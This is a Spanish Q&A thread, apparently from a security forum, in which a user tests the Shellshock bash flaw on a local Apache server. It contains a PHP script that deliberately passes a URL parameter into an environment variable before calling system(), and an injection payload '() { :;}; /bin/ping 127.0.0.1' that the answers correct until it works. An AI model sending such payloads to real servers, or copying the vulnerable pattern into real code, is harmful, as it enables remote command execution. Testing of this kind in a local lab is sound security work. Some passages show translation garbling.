Probando shellshock con PHP

0

He estado tratando de probar la vulnerabilidad de shellshock en PHP similar a esta respuesta . Estoy ejecutando el servidor Apache con PHP ejecutando como mod_php. La versión de PHP es 5.3.10.

Tengo un archivo php (phptest.php):

<?php

  function getLang() 
  { 
    if (isset($_GET["lang"]) && !empty($_GET["lang"])) 
    { 
      $lang = $_GET["lang"]; 
    } 
    return $lang; 
  } 
  $language = getLang(); 
  putenv("LANGUAGE=$language");

  system("env | grep LANGUAGE");

 ?>

Intenté acceder a la página a través del navegador de la siguiente manera:

localhost/phptest.php?lang=(){:;}; /bin/ping http://localhost

En la pregunta vinculada, el wget está relacionado con la IP del desarrollador, pero simplemente decidí hacer un ping para ver si puedo probarlo.

El navegador muestra el resultado de la siguiente manera:

LANGUAGE=(){:;}; /bin/ping http://localhost 

Intenté monitorear el ping utilizando lo siguiente (de esta pregunta ):

 sudo tcpdump -i lo icmp and icmp[icmptype]=icmp-echo

No vi ninguna solicitud. ¿Alguien puede decir qué necesito corregir en mi prueba?

    
pregunta Jake 10.10.2015 - 05:49
fuente

2 respuestas

1

Me di cuenta del problema. Cambiar a /bin/ping 127.0.0.1 ayudó, pero hubo otro cambio sutil por hacer.

Debe haber un espacio entre ) & { , y otro espacio entre { & %código%. La solicitud revisada fue:

localhost/phptest.php?lang=() { :;}; /bin/ping 127.0.0.1

La fuente de respuesta fue este enlace .

    
respondido por el Jake 14.10.2015 - 00:09
fuente
1

Suponiendo que esta inyección funciona básicamente:

localhost/phptest.php?lang=(){:;}; /bin/ping http://localhost

Su problema está relacionado con el comando que intenta inyectar. Ping acepta un nombre de host como parámetro. Pero inyectó enlace como un parámetro que es una URL y no puede ser aceptado por el comando ping. Debe ser ping localhost en lugar de ping http://localhost .

    
respondido por el davidb 10.10.2015 - 09:56
fuente

Lea otras preguntas en las etiquetas